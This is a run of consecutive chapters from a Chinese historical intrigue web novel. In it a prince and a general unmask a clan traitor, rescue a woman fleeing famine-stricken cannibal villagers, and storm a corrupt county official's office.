“大人你可小心些,这身上还有伤,可别严重了。”她眼疾手快,果断按下,“别闹了,有人来了。” 果不其然,刚刚那身影并非错看,人群中影影绰绰见几人伺机而动,目光若有若无扫视过来。 “太刻意了,这从哪雇的杀手?”秦祉微微摇头,“简直是刘阿斗的江山,白送啊。” “你是巴不得我出事是不是?”柏萧鹤不动声色地将她手弹开,修长的手指在袖口中一勾一转,顷刻之间调出一把弯月匕首,他嘴角露出一道极浅的笑意,说,“殿下,让让,当心误伤。” 秦祉不明所以,狐疑道:“这几人身手不过如此,你在小瞧谁?” “我的意思是啊......”柏萧鹤轻叹一声,“我怕我自己控制不住,将刀抡你身上。” 什么? 弯月匕首瞬间拔出,银光一闪,从秦祉面前飞过,幸而秦祉反应够快,只单削去一小簇发丝,她侧身避开,暗骂一声。 只见郁金色莲花团纹锦袍衣袂翩跹,衬得柏萧鹤长身玉立、俊秀挺拔,他手持刀柄,轻巧一挡,兵刃轻碰发出争鸣。 “呵。”柏萧鹤蔑视轻笑,环首嵌金片饰卷云纹,眨眼之间从那人脖颈斩过,血花星星点点散开。 而又一道剑气袭来,朝柏萧鹤面上逼近,他微微仰头,任凭剑端在眼前不过一寸的距离划过,带起一股厉风。 那几人似乎察觉到不对,面前这男子谈何体弱多病、身负重伤的样子? 13. 第 13 章 《白首相知犹按剑》全本免费阅读 “这到底是何意?”虞氏长老颇为不满,一手拍在了案几上,发出震天的响声,“简直就是胡闹,朝令夕改,让全族人跟着受累,你到底是要做什么?” 虞仓寅面容难掩病态,乌发半束披在肩头,月白狐绒缎面大氅反衬脸色越发苍白,他没什么血色的薄唇轻抿,一声不响的盯着眼前散发热气的茶汤。 “你到底在想些什么?”斥责声几乎要冲出房门,虞仓寅神色这才微动,他拂去茶沫,品了一口,声音平静温和:“长老,我敬重您是长辈,因此以礼相待,可如今虞氏一族出现了叛党,欲与他人联手残害手足,因此我身为家主,定要人证物证皆全,将人捉拿。” 此话一出,堂下的人议论纷纷,可无一例外众人皆是摇头。 “你若说是有人残害手足,这人是谁?残害的是谁?”长老脸色当即一变,晦暗不明,“既然说是有证据,便呈上来,让大伙都瞧的清楚,看得明白。” 士族家的颜面,比天高。 虞仓寅偏头咳了两声,声音略微虚弱:“可否请殿下帮忙。” 秦祉朝他点头,正欲开口,不料那长老冷笑一声,余光瞥过这小亲王,满是不屑和鄙夷:“我们虞氏自己的家事,就不劳烦你堂堂一个梌州的亲王插手了,晋赭王,您还是退避三分比较好。” 秦祉眸光一闪,故作惋惜:“我也是如此认为,只可惜你们族内这位叛党,谋害亲友不成,险些失手杀了本王...” 她骤然神色一冷,带着十足的威慑:“你们虞氏,谋逆皇室,行刺亲王,该当何罪啊?” 长老闻言低笑两声:“这可就是晋赭王的不对了,你有何证据证明,这人是我们虞氏的人?” “晋赭王行事向来不计后果,私下里得罪的人不在少数,怎的偏偏认定是我们虞氏行刺?这一口大锅,可不能找不着凶手便乱扣啊。” “你放肆!”一声满是压迫与权威的呵斥,如同惊雷炸响,沉沉落在现场每一个人的心中,刹那之间鸦雀无声,周围的人连大气都不敢喘一下。 这是来自一种久居高位、坐拥权利之上的气场与坦然。 柏萧鹤缓缓勾唇,嗓音里蕴含着不易察觉的危险,他那把弯月匕首已然悄无声息地抵住了长老的命脉:“虞氏家主不忍杀人落下口舌,可大抵我不一样。” “我杀人,不需要理由。” “你、你...你是什么人?这可是昭川!”长老这辈子都没被人这样恐吓,连着说话都不连贯,“昭川是虞氏的地盘,你算什么东西也敢胡、啊!” 柏萧鹤手指轻轻一碰,那锋利的刃当即划破他的喉咙,他慢条斯理道:“真是不见棺材不落泪啊。” “孟、孟先......” 虞仓寅眨了眨眼,注视片刻,这才好言道:“殿下?” 秦祉抬眸,两两相望,从他那眼神中分明看清了戏谑,她说:“别吓死了,再赖上我们。” 话一出,长老只觉得抓住自己衣领的手终于松了,他捂着脖子大喘气,恼羞成怒地等着秦祉,效果理想极了,因为他再没有指着鼻子骂出声。 “虞氏家主数日前带二百兵马前往翼州参与休战盟约,族内人人皆知,可返程之路,却于纵岳山惨遭行刺,二百兵马悉数死亡,孟先也因此受伤。” 秦祉端起茶喝了一口,视线扫过在场每一个人:“此次路线隐蔽,知之人甚少,唯有虞氏内部,有人知晓此事。” “虞荆,你可有头绪?” “什么?”突来的点名,虞荆一惊,“我、我不知道...” 可惜这不过是心理压迫,秦祉并不在意他的答案:“因此本王同孟先设下第二局,张机设陷。” “果不其然,鱼上钩了。” “我们交代给众人的是,虞氏虽撤离,但虞氏家主则坐守昭川,为避免消息泄露,本王派人全程戒备,警惕你们之间的通风报信。” “而那人得到的消息则是,太守欲站队本王,决定引全族迁居,放弃昭川,因而携侍卫走渌水河渡江,从兰干奔梌州方向。” “于是此人做了两件事。”秦祉继续说,“一是派人渌水河刺杀,二是城内引起骚乱,趁机攻下太守府。” “只可惜他不曾料到,虞仓寅从未离开过太守府,而现身于渌水河码头的,则是本王。” “此人急功心切,恐怕他勾结之人,给他的时间紧迫,所以他来不及做足准备,便匆匆下了杀手,从而留下一堆破绽。”秦祉手指一送,茶盖碰撞杯身发出清脆的声音,如同敲定下最终的结局。 “虞荆。” “你还有何辩解?” “子甘?”长老浑浊的视线落在虞荆脸上,“你竟然...晋赭王所言可是实情,你不必害怕,若是陷害于你,我自然不会让这种事发生,可替你做主!” 秦祉闻言一笑:“虞长老的意思,可是本王同孟先联合起来,欺负小辈了?” “你!”长老冷哼一声,“孟先,知晓这计划的可不止子甘一人,杂七杂八掩护你的也不在少数,怎么偏生轻信旁人,倒是怀疑自家的亲眷,多叫人寒心。” “是、是!”虞荆连忙喊到,“兄长,这真不是我做的,和我一起同行的还有冒充晋赭王的,叫什么...” 他当时大脑一片空白,显然忘记了浮生的话,卡了半天:“和一个陌生男子,算上晋赭王和他身旁那人,今日又多了一名女官,这大大小小加起来,怎么能确定是我做的?” 虞仓寅淡然笑着,说:“如此,我便为诸位介绍一下。” “梌州晋赭王,大家自然都认识,他身旁这位,乃是兰干常胜将军柏萧鹤。” “什么!” “他是说...柏、柏萧鹤?” “这人为什么会来昭川?还和家主有联系,究竟是怎么回事?” 虞仓寅不作解释,继续道:“假扮晋赭王的,是兰干别部司马浮生,以及这位朔昭阁女官崔颉妙。” “至于这陌生男子...”他微微抬眼,似笑非笑,“子甘,你不眼熟吗?” 虞荆咽了一口唾液:“我、我为什么会眼熟?” “阮义谋士,西州淮陵,张陏。”虞仓寅好心提醒。 这一瞬息,虞荆终于知道,为何会觉此人如此眼熟了。 因为那紫色袖口上的金丝海棠,与手指上的白玉扳指,分明是半月前马车上见过的人。 张陏。 14. 第 14 章 《白首相知犹按剑》全本免费阅读 “快,东西都装好,再检查一下。”浮生站在马车前吩咐着,“今日午时便要启程,大家抓紧时间。” 面前侍卫来来往往忙碌着,将行礼包裹往马车上抬。 “派人去问监督渌水河码头的运盐船怎么样了,准备好了即刻出发返程。” “是!” 秦祉端着茶杯坐在院中长廊上,风夹杂着树枝上的落雪微微吹拂洒下,宛如一片金光星星点点落在她发肩。 “运盐一事解决,你那边可有回信?”秦祉浅尝一口,垂眸询问。 柏萧鹤总算又恢复了初见的装扮,镶嵌鸡血石的珍珠金链泛着细碎的光,玄色大氅搭墨色长发,显着整个人雍容华贵、高不可攀。 他侧倚着门廊,道:“已经派人去查,只是容我提个醒,这人如今销声匿迹已有五年,若是失忆了还好办。” “若是装的,我们这一查,他怕是早就藏起来了。” “怕的就是这个啊。”秦祉喃喃道。 “殿下,柏将军。” 温润的声音如约而至,二人偏头,只见虞仓寅抱着手炉缓步而来。 “你怎么出来了,不是说昨日那么一闹,伤势又有些严重了吗?” “无妨。”虞仓寅淡淡道,将一封信从袖口拿出,“这是今晨放在我屋的,看字迹,想必是出自张陏之手。” “殿下,我多嘴一问,这张陏可还在随行队伍中?” 秦祉同柏萧鹤对视一眼,这才道:“不在,昨个半夜就跑了。” 张陏这人,不能将他带去兰干,也不能杀,留在昭川更是祸害,如今秦祉与柏萧鹤的事,仍然要张陏把消息散出去,这样可信度才高。 因此昨夜张陏那动静一出,他们二人却全当没听到。 “如此...”虞仓寅似乎早有预料,说,“那便看看吧。” 张陏那一手字写的相当狂野大气,笔墨相连,洋洋洒洒铺了满纸,实则半句有用的信息都没有,堪称废话连篇,从自己可怜认栽,到讥讽虞仓寅的演技可谓精妙,再到感慨同秦祉所见相处之日甚少...... 秦祉皱着眉从头扫到了尾,却被最后那一句话吸引了注意: “馋邪害公正,浮云翳白日。殿下,我们都邑城见。” “馋邪害公正,浮云翳白日。”秦祉手指从这行字上摩挲着,“看样子,都邑城的天要变了。” “讨伐阮义一战,近在眼前。” “周令的休战盟约上可曾提到了讨阮一事?”虞仓寅问道。 秦祉叹道:“提归提,可盟约上诸位皆虚与委蛇,互相试探,他们不会轻易出兵,这事不急,等我先见过兰干相再说。” ---- 江面风大,站在船头,冷风四面八方的灌进衣服,秦祉眺望着无尽水面,陷入了短暂的沉默。 距离她离开都邑城已过去了整整五年了。 而这五年来,她始终没有再踏足故土。 那宛如霞光的火海将相国府烧成一片灰烬,倒映在那双幽深的瞳孔。 “女公子,您不能回去!”那人死命挡在身前,恨意穿透时光,折射到秦祉心绪。 “来不及的,一切都来不及了……” “快跑!” 府内楼阁轰然倒塌,而那一日过后,世上再无人提起相国,提起秦家。 “阁主,江上冷,回画舫里歇息吧。”崔颉妙将手炉递给秦祉,轻声说。 “没事,我看会儿景。”秦祉摇头,微微弯唇说,“对了,韩阁可有信,楚旻现下如何?” 韩阁,朔昭阁的上任阁主,五年前曾率领朔昭阁听命于先帝,潜伏朝堂,暗中刺探情报,负责杀人灭口。 “他已带人撤离翼州。”崔颉妙说,“南下等阁主吩咐。” “带人去殷州找殷州刺史许棹文,此人仁举仁政,心向燕安,让他看着办。” 崔颉妙领命后便退回画舫,秦祉这才偏头说:“这么想听何不出来聊聊?” 远处那人单腿支起,坐在阑干之上,姿态随意放松,听到此话,他却头也不回,仍看向远方的波光粼粼:“殷州离兰干极近,你这么一安排,周令眼里便是要坐实了你我的关系。” “坐实什么?”秦祉反问,“翼州以南就两条路,左为殷州,右则是都邑城。” “一旦进了都邑,我的人未必保得住他,所以殷州是不得已之举。” 柏萧鹤闻言右手用力一抵,人轻松翻越而下:“这话你可同荀谌说,看他信不信。” “他信不信,不在本王怎么说。”秦祉手肘搭在阑干,低头看着溅起的水花,“反倒是柏将军,可想好如何同荀谌交代。” “我交代什么?” 秦祉抬眸看他:“当然是,结盟一事。” 柏萧鹤觉得有些好笑,他微微伏身靠近秦祉,两人视线平行,他说:“我何时说过,要与你结盟?” “因为你放任了张陏离开。”秦祉轻声道,“所以联手一事必会传出。” “兰干卷入乱战,无论荀谌如何抉择,都会被打上晋赭王同党的名号。” “听起来有几分道理。”柏萧鹤点点头,说,“可若是兰干生擒了晋赭王交出去……殿下认为,可行吗?” 秦祉干笑两声,退了半步:“未免恩将仇报了柏将军,传出去名声不好。” “巧了,我刚好和那些士族不同,最不在意的便是名声。” 秦祉要被气笑了,她牵了下嘴角,说:“那么,兰干运盐运成假的白沙也无妨吗?” 这回轮到柏萧鹤动作一顿,他注视秦祉良久,眯起眸:“你的意思是?” 秦祉回以微笑:“正是你想的那样,本王也要留有后手准备嘛。” 下一刻,只见男人果断转头,朝着画舫尾端走去,步调渐快。 “吓不死你。”秦祉心道。 ---- 一行队伍从头到尾浩浩荡荡的通过,足有上百人,声势很大,因此即便兰干如今局面动荡,也无人敢上前拦截。 偶有流离失所的百姓集结在草丛,见状又被吓了回去,缩在角落生怕被人撞到,一不小心再丢了命。 “怎么样,挨个箱子查验的?”秦祉心情相当愉悦,眼下坐在马车里,掀起车帘朝外看。 柏萧鹤冷淡地睨她一眼:“何止,生怕冤枉了殿下,叫着你的女官一起跟着呢。” 秦祉当即表情一变:“你找她来替你......崔颉妙!” 马车外,崔颉妙一扯缰绳,靠近询问:“阁 15. 第 15 章 《白首相知犹按剑》全本免费阅读 天下大乱,除去门阀士族为滔天权利而战,各地百姓之间的斗争何尝不是无休止的? 可他们不为别的,他们的争夺只关乎一件事,那就是…… 生死。 “你倒是想一跑了之,我们怎么办?”男人一把薅住那妇人的头发,想要把孩子从她手中抢过来。 “不、不要——!”妇人头发散落,声嘶力竭的像一个疯子,“你们是在杀人,你们是杀人犯!” “胡说什么!”几人七手八脚的就来捂她的嘴,“赶紧把人拖回去!快点!” 妇人眼眶通红一片,死命朝着马车的方向伸手,另一只手拼命拽着瘦小的孩子。 “救、救我们……” “崔颉妙。”秦祉声音清冽,嘈杂中一泓清泉,轻轻灌入耳中。 崔颉妙双腿夹马腹,手指摸上刻金刀柄,旋即上撩拔刀,刀身薄如蝉翼,通体银光,刹那间劈开一道裂缝,带出的流气也能震人,将妇人周身清出一条路。 离得最近的男人被吓得一屁股坐到了地上,那刀锋从他眼前划过,近在咫尺,他抖着身子被人搀扶起来,骂道:“你他妈是什么人,也来管我们的村的事?” 崔颉妙垂眸一瞥,不作理会,只看着妇人说:“你过来,我家主人有话问你。” “不准走!”那几人想伸手来捞,不料崔颉妙反手提刀,人骑战马,高高在上气势逼人: “上前者,死。” 妇人满脸泪水,用袖口胡乱擦着,领着孩子连滚带爬奔向马车,叩头边说:“谢谢,谢谢救命恩人,谢谢......” “抬起头来。”马车上那声音仿佛若即若离,妇人小心翼翼地抬头看去,车帘帷幔掀起的瞬间,隐约看见两位容貌姣好、衣着贵气的人端坐在内。 “你有一次获得自由的机会,但能不能争取到,全在你自己。”那贵人说,“你们是哪里的人,发生了什么事,为何指认他们是杀人犯,把这件事讲清楚,若是你有冤,我可替你主持公道。” 妇人再度朝着地上狠命磕了三个头,说:“我们曾是这附近村子的人,原本兰干无事,大家虽然过得苦,但也还能活,可是...可是数月前兰干开始打仗,我们这周边的村子,因为战火,房子没了,地也毁了,钱被当官的抢了,存粮又不够。” “家里吃着之前存下的食物,可这哪里够,大家就挨着饿,总想着过些日子说不定就不打仗了,说不定就有人管了,可日子这么一天一天的过下去,人只会一天比一天饿。” “就这么挺着,受着,直到有人饿死,村里的人一商量,所幸人也死了,不如让活着的人留下点希望,就、就...” “就把人分着吃了。” 车队附近听到此话的人纷纷皱眉,可马车上那贵人却神色未变,只听她继续问:“然后呢?” 妇人默默留下一行泪,双手颤抖着,轻轻拍着孩子的后背:“然后,死人吃完了,大家还是饿,还是不够,剩下的人就把目光盯在了活人身上,没有人坳的过他们,他们舍不得吃自己家的孩子,就互相换着吃……吃一个,两个,到最后…整个村子、所剩无几…他们还是人吗?” “他们…不是,他们不是!他们是杀人犯,是疯子!他们根本就是一群禽兽!” “老人、妇人、幼童,他们什么都干得出来!” “你他妈闭嘴!”有人在人群里大喊,“你敢说你没吃?你敢说你一口都没有吃过?” “现在是轮到你自己的孩子了,你倒是不愿意了,你他妈早干什么去了?” “大家都是为了活着,谁不是为了活着,那些有钱有权的人只顾着自己打仗,谁在乎我们的死活了?谁在乎了?”他们怒吼着,发泄着为数不多的情绪,“我们为了活下去有什么错?” “把人还回来!还给我们!” 外面吼声响彻天际,化作滔天的恨意,侵蚀着每个人的心智。 秦祉忽觉一丝无力,她只是叹气:“易子而食,析骸以爨,柏将军,你如何看?” 柏萧鹤抬手掀帘,问:“这是谁的管辖范围?” “回将军,是长吏徐生。” 县级的官吏对于柏萧鹤这种级别的人而言,基本上等同于没听说过,因而这等事,按理说是轮不到柏萧鹤去处理。 可兰干如今可谓内忧外患,内里战争未停,外界豪强也虎视眈眈,此时官员若趁火打劫,强取豪夺,兰干怕就要彻底乱了套。 因此食人一事,必将严查,而徐生,若真为非作歹,他就会成为杀一儆百中的一。 “运盐一事不可耽搁,浮生,你带队回程,我亲自去会一会这个徐生。” “是。”浮生领命,说,“马匹牵来。” “贵人、贵人……”妇人害怕面前这几人离去,连忙膝行几步,哭道,“求求你们…求求你们……” “派人带他们跟上。”柏萧鹤傲然睥睨,冷声吩咐后,他回首对上了那闪着光的双眸,看起来兴致盎然,他微笑着,故意将话题一转,“殿下,你…去见兰干相,我们回头见。” “崔颉妙,马。”秦祉全然不听,利落地翻身,从马车上一跃而起,骑上了一匹战马,“你也跟上!” “不行,你们不准走!凭什么带他们走!”那些人见状骤然发力,吼叫着要拦,要抢,一时间乱作一团,险些惊了距离最近的秦祉的马。 侍卫拔刀故作砍人威胁,但因着都是些手无寸铁的百姓,也不敢真伤着人,便叫他们冲撞了。 “这是我们村子的人,你们有什么资格来管!都给老子滚开!” 柏萧鹤霎时面若冰霜,他仅仅侧首,久经沙场睥睨众生的肃杀顷刻间铺天盖地的蔓延。 “阻拦者,一律视为耽搁司马将军浮生办差,杀无赦。” 村民们全身都僵硬了,因为面前百人的刀锋,已经直抵颈间。 更可怕的是,此人口中的名字。 “别、别部司马...浮生?” “那不是、那不是仅次于兰干五大营的...人吗?” “他如何会来这?” “不可能,骗人的,他不可能出现在这的,他们在骗人!” “乡亲们,他们在骗人!” 兰干五大营,以五位将军为首,常胜将军柏萧鹤、中郎将花颖慈、戍边校尉葛卫,以及属国都尉周烁声、李竹启,此五人各掌一营,坐镇氾州兰干。 而别部司马,是独立于五大营之外,其下自有兵 16. 第 16 章 《白首相知犹按剑》全本免费阅读 那侍卫听罢讥笑一声:“我倒要看看,究竟是谁没命?都看着做什么,动手啊,乱棍打死在这!” 这人行事够嚣张,周遭百姓都明眼看着,做事说话却也不避讳。 见他们要上前动手,崔颉妙一个箭步抽剑挡在秦祉面前,低声问:“阁主,动手吗?” “要吗?”秦祉手肘撞了撞柏萧鹤。 柏萧鹤抬起眼帘:“你说,这徐生此时在县廷的可能有多大?” 秦祉勾唇:“你想闯县廷?” “如何?” “我喜欢。”秦祉话音未落,核心收紧,一脚踏在那袭来的长矛上,而后身子飞起,顺势踹倒几人,身形动作迅疾如风,眨眼间人已经跃上墙头,回头笑着招手,“这县廷内更是别有洞天,快来!” 柏萧鹤、崔颉妙两道身影更是轻灵,侍卫长矛连个边都没碰到,就已经让人从高墙翻了进去。 “啊!他们闯县廷了,来人!来人!” “哎呦我艹,他们是不是疯了?” “这要是让徐长吏知道了,我们都得完蛋!” “从里面拦住他们!叫他们从里面拦!” 一瞬间,县廷可谓人仰马翻,热闹非凡,府兵侍卫此起彼伏的吼叫、矛棍碰撞的声音更是平添了一丝戏剧性。 “在那!长廊后面,绕过去了,小心,跑你身后了,躲开,躲开!” “咣当”一脚,侍卫脸朝下扑进草丛,吃了一嘴的土。 “劝你们束手就擒,要不然你们就...” “废话怎么这么多。”秦祉手握阑干一转,将人踹出去几米远,横向扫倒要赶来帮忙的一群侍卫。 “徐生在哪?”秦祉问。 “去死吧!”侍卫挥剑劈来,大吼一声。 秦祉侧身一避,刚好同对侧闪躲的柏萧鹤碰面,二人短暂对视,旋即单手相握,借力后旋抬腿,快如残影,将彼此对手猛地踹翻,倒在地上没了动静。 “闹成这样,徐生都不出现,怕是人不在这。” 柏萧鹤颔首:“但此事闹大,他迟早会赶回来。” 院内哀声一片,侍卫七扭八扭倒下一大片,仍有人指着秦祉这边骂道:“你们迟早要被徐大人活活剥下一层皮......啊!” 崔颉妙看也不看,一脚踩在那人胸膛,拦住尾音,神色如常的走了过来:“阁主,全部解决。” 角落里,廊柱后一双眼睛略带惊恐地瞧着眼前的画面,半响后,只觉得自己像被人盯上一般,浑身冒着凉意,她目光到处扫着,最终看见了视线背后的主人。 那是一双充满审视、仿若洞察万物的眼,如秋池、却似寒冰。 “是个...淑女?”秦祉顺着他视线看去,只看见了一晃而过的瘦弱身影,“追上去瞧瞧,那边八成是后院。” “啊!怎么跟上来了?”她吓了一跳,脚步匆匆顺着长廊跑,不料前方的路骤然被拦住了,她险些没停住,一头撞进了那人怀里,“痛...” “你们、你们......”她捂着脑袋往旁边躲了躲,“你们是谁?” “我们啊是来报官的,找徐大人呢。”秦祉靠着桥栏坐下,温和道,“那么你呢,你又是谁?” 她听到这里蹙起眉,连连摆手:“不行、不行的,你们还是快点走吧...” 又是这套说词? 秦祉偏头看了一眼柏萧鹤,说:“为何这么说,他是长吏,这是县廷,为什么要叫我们走?” 她头疯狂摇着,咬着唇,喏声道:“这我没法说,总之你们不像坏人,又打得过那些府兵,还是快点离开比较好,徐大人身边有些厉害的侍卫,现下都不在这里,一会儿要是回来了,你们就跑不掉了。” 秦祉见这孩子始终不肯说,无奈的起了身:“屋里是什么人?” 姑娘猛地深吸一口气:“哎呀不行,屋里不可以闯进去的!你们不行的!” 秦祉微微歪头:“是吗?”说着人就要越过,硬生生给这姑娘憋得脸都红了,急的额头直冒汗。 柏萧鹤倚着廊柱,颇有几分玩世不恭,他声音带着不甚明显的笑意:“你可得拦住了,这人流氓得很,真闯进去也说不定。” 一句话,给人家眼眶愣是说红了,半大剔透的泪珠挂着,要掉不掉:“不行,不行,你们进去了夫人会死的,会被徐大人打死的......” “啪嗒”。 长廊的地湿了。 空气陷入一片寂静。 秦祉微微启唇,张了半天没动静,良久她缓慢说:“这我不擅长,你弄哭的你自己来。” 柏萧鹤递过去一方月牙白手绢:“逗你的,我们不进去,但是你告诉我,夫人是谁,你们是不是知道这县廷为非作歹的恶行?” 声音放轻,干净清透,少了平时慵懒的痞劲儿,现在让浮生来看,八成能把眼珠子瞪出来。 这人... 秦祉无声一笑。 可惜,这人气场太强,没什么用。 秦祉暗中递给崔颉妙一个眼神,她侧身挡住了这人视线,因此她泪眼婆娑中,并未看清刚刚拦截住她去路的人,现下已经消失在了长廊。 ---- 县廷原本可谓飞阁流丹、下临无地,如今落得一片狼藉,秦祉挑了个好位置,坐在楼檐边登高望远,瞥见一辆马车顶。 “半个时辰。”秦祉说,“够晚。” “出什么事了?”门外有人询问,“门口值守的人是谁,怎么不在?” 有小厮匍匐跪在马车旁,一只黑色长靴稳稳踩在上面,青色长袍沉着精美,此人目光如炬,开口声音却意外年轻:“怎么回事?” 这人眼尾上挑,眉目精明。 “回徐长吏,门外值守侍卫不知所踪,属下正要进门查看。” 徐生面色阴沉:“去查,查到了直接打死,不必回话。” “是。”那人应声,步入台阶,推开大门后,被眼前的景象惊了,“大、大人...” 徐生盯着他,没说话。 “有、有人擅闯县廷!”这声音直冲云霄,不过一瞬,徐生身旁护卫都已戒备起来。 徐生一进门便是如此景象。 县廷人仰马翻,建筑花草狼藉一片,屋檐上的人单腿支起,神色玩味扔着石子看他,而院内凉亭下,更有一男子宛如自家庭院,不急不慢地泡上了一壶 17. 第 17 章 《白首相知犹按剑》全本免费阅读 “你倒是对得起你那官职。”秦祉说,“若是兰干相在此,你也是如此回答?” “兰干相日理万机,哪里管的来这么多事?”徐生阴恻恻地笑道,“劝你们识相点,自己认栽吧,别等我的人动手,那样可不保证你们还有全尸。” “这倒是稀奇。”秦祉感慨道,“这么嚣张,你身后有靠山吧?” 徐生眯起眸子,也不废话,手一扬,侍卫刀剑便已经抵了上去。 “上一个企图闹事,想要越过县廷去往上寻长史报官的人,如今正关在地牢里,求生不得、求死不能。”徐生说,“我以为,再不会有人敢在本官掌权的地方惹事...” “不曾想今日,给我好大一个惊喜啊。” 秦祉佯装微怒,反问道:“这么说来,如今兰干,倒成你一手遮天了?” 徐生笑说:“不巧,正是。” “你到底是什么身份?”秦祉退了半步,躲到柏萧鹤身后,“柏将军,务必小心些,刀剑不长眼。” 柏萧鹤无声地看她一眼,微哂:“你离得远些,我会更安全。” “那怎么行?”秦祉将发丝拨到身后,说,“这可是兰干,哪会有比常胜将军身边更好的去处?” 两人声音微乎其微,因此对面听得并不真切,也正是如此,他们才能保持着现下的气魄,公然挑衅兰干五大营之首。 侍卫嗤笑一声说:“我家大人姓徐,你可知都邑城中哪位也姓徐?” 都邑城姓徐的官员? 秦祉略微思索,惊诧道:“太仆徐行?” 听到此名,徐生眼神都透着一丝傲气。 秦祉暗自思忖,看来他真是殷州徐氏的人,只是殷州徐氏是仅次于中原十姓的名门望族,他徐生为何会跑这兰干做小小长吏? “这徐行是九卿之一,为人却十分低调,况且他徐氏在殷州势力不可小觑,平白把徐生送到此处当个长吏,未免有些奇怪。”秦祉压低声音说。 “那就说明...”柏萧鹤说,“兰干上面也有人罩着他。” “贪墨成风。”秦祉点头,似乎想到了什么,扬声道:“徐行人远在都邑,如何能手伸这么长,你怕不是趁着远,故意假借他的名义胡作非为,实则和殷州徐氏一点关系都没有吧?” 徐生并不生气,只是像看垂死挣扎的困兽一般:“我不需要他来帮忙,徐行这人惯会假仁假义,我全凭自己,乱世中只要掌握两样,就足以拿捏百姓。” “一是钱、二则是粮。” 秦祉微微皱眉,看样子和徐行不对付,演的? 若是和徐行有矛盾,便是和殷州徐氏有矛盾,如此他孤身一人跑到兰干来倒也说的通。 可若是假……徐氏莫非想渗透到兰干? 柏萧鹤指尖轻轻勾了一下秦祉,提醒着,她旋即收敛思绪,说:“下民易虐,上天难欺。【1】你就不怕上边的人知道?” “百姓若能找上郡丞,或是兰干相...”徐生慢条斯理地摊手,“我届时再害怕也不迟。” “闲话少说吧各位。”徐生退了半步,“将人关进地牢里,明日午时斩首示众。” “找上郡丞就够了么?”秦祉已经了然,慢慢露出一个微笑,“你的靠山,莫非是簿曹从事?” 徐生脸色骤然一变,喊道:“愣着做什么,还不拿下!” 侍卫欺身上前,可惜这几人哪里是可以束手就擒的,秦祉果断抽剑,剑身长三尺有余,玄铁铸剑,上刻繁复图饰,行如蛟龙银蛇,如星斗气,郁峥嵘。【2】 秦祉会武,并且比之久经沙场的柏萧鹤、与死士崔颉妙来说也并不逊色,胜在借力打力,以招化招。 剑身从侍卫脖颈中悄然划过,炸开一朵血色红花时,秦祉这才收剑站立:“你若是多跟徐行接触,便断然不会犯此等错。” “什么?” “三缄其口。”秦祉见他反应不及,好心补充,“意思就是你话太多。” “一介长吏,官威之大,犹如当地之主,恶行暴戾不绝,作奸犯科不断,其必有所庇护。”秦祉表情淡然,语气平静,“上下官员之中掌管钱粮者甚多,可郡丞之下,便只有簿曹从事。” “难怪不过数月的仗,兰干粮草竟缺了甚多。”秦祉说,“缘由竟是在这呢。” “真是......”徐生面色凝重地听着,未几缓缓开口,“多谢你的提醒。” “哎,用不着这么客气。”秦祉摆手笑道。 “只可惜这种消息,活人带不走,死人说不出。”徐生眼底杀意翻涌,他哑声开口,“杀了他们。” 侍卫刚要动手,却听那人又幽幽说道:“徐大人,兰干你便只认识簿曹从事了吗?” “柏浪昭,看来你名声不够响啊。” 这人挑眉笑着,锦袍之下五官愈发靓丽,眼神也愈发凉薄。 柏萧鹤配合地抬手朝对面挥了两下,敷衍随意,可那浑身散发出的压迫感却只增不少,让人不得不怀疑此话的可信度。 “柏浪昭?”侍卫不甚对上那人,握着剑柄的手都跟着一抖,“是、是五大营的柏浪昭?” “不、不会吧,他怎么会在这?” “可是你们看他手里那个武器...我早就觉得眼熟,那不就是柏萧鹤的银刃战戟吗?” 徐生面色铁青,半响才开口:“不可能,他在骗你们,常胜将军前些日子被派去西州,不会......” 说着说着,他突然像是想到了什么,竟没了后文。 “对,派去了西州,然后南下渌水河,刚好经过此地。”秦祉冲着他认可的点头,“要不说咱们有缘啊徐大人。” 徐生极力压抑住情绪,摇头说:“不、不可能,这人假扮将军,擅闯县廷,乃是死罪一条,你们不必担忧,有本官在怕什么,给我杀了他们。” “谁能取下其头颅的,赏金五百两。” “嘶。”秦祉感慨,“不值钱啊。” “我替你加点?”柏萧鹤语气凉薄。 “不必了。”秦祉笑着偏头上下打量一番,问道,“你打得过吧?” “你这个时候才问,是不是有些晚了?”柏萧鹤长戟弧形一转,顷刻间化解无数杀气。 “这杀气,果 18. 第 18 章 《白首相知犹按剑》全本免费阅读 “见过晋赭王。” 李竹启后方所有骑兵马上行礼,五个字重重砸向徐生,徐生仿佛被定住,人如冰封,几度张口都发不出声音来。 晋赭王... 他无措的目光从秦祉身上又看到柏萧鹤,只觉得天都要塌了。 怎么会是晋赭王? 梌州与兰干相差甚远,他为什么会出现在这,又为什么会和兰干五大营的人搅和在一起? 徐生找回声音,强行逼自己镇定,他缓缓开口,嗓子干到发涩:“兰干、和晋赭王合作了?” 只可惜秦祉全然没有把他放在眼里,理都不理,反而转身问:“兰干的簿曹从事是谁? “回殿下,是张珏。” 秦祉勾起了点回忆:“这名字,总觉得有些耳熟,张珏...张公璨?” “正是。”骑兵回答。 “周氏的门生。”秦祉笑了,“当年都邑他一直住在周令府中,后来周令祭祀日刺杀先皇未遂,全族下狱,那日后就再没见过这张珏,不成想如今人居然在兰干做成了簿曹从事。” “你觉得这事和周令的关系有多大?” 柏萧鹤正垂眸擦拭着长戟上的血迹,闻言说:“只要张珏是他周氏的门生,那周令就脱不开关系。” 这便是已然决定,要借由宣战出兵了。 事已至此,无论他张珏是真被周令派来卧底也好,或是单纯见有利可图,这目的都变得无足轻重。 他不过是成了兰干讨伐周令,出兵中原的一个引子。 兰干说他背后有周氏指使,那他便必被坐实。 秦祉但笑不语。 柏萧鹤将沾血的手帕丢掉地上,这才起身问:“你怎么在这?” “兰干相猜到你回来的路上定不安生,便派我带队来接。”李竹启说,“果不其然,路途碰见浮生,他指了路,说你单枪匹马带着晋赭王跑县廷这闹事来了。” “他还说...” 柏萧鹤双眸一眯。 “说再不赶来,县廷能让这两个人整个掀翻。” 李竹启看着已经被掀翻的县廷,良久感慨:“看来我还是来得晚了。” 柏萧鹤、秦祉:“......” “这正好,叫他们把东西搬一搬,从百姓那搜刮来的还回去,其余的都缴了带走。” 骑兵动作一顿,纷纷抬眼看向将军。 李竹启无奈道:“上战场杀敌的兵替你在这搜罗钱物,殿下可真是……” 柏萧鹤长戟一挑,从草丛中甩起一袋银钱,那钱袋子从空中划过,稳稳落在秦祉手中。 秦祉下意识收到袖中,咳了一声,正色道:“簿曹从事那还需要我们亲自走一趟,不止其下要解决徐生这一类官员,其上也要确保周令的势力彻底清缴。” “至于你。” 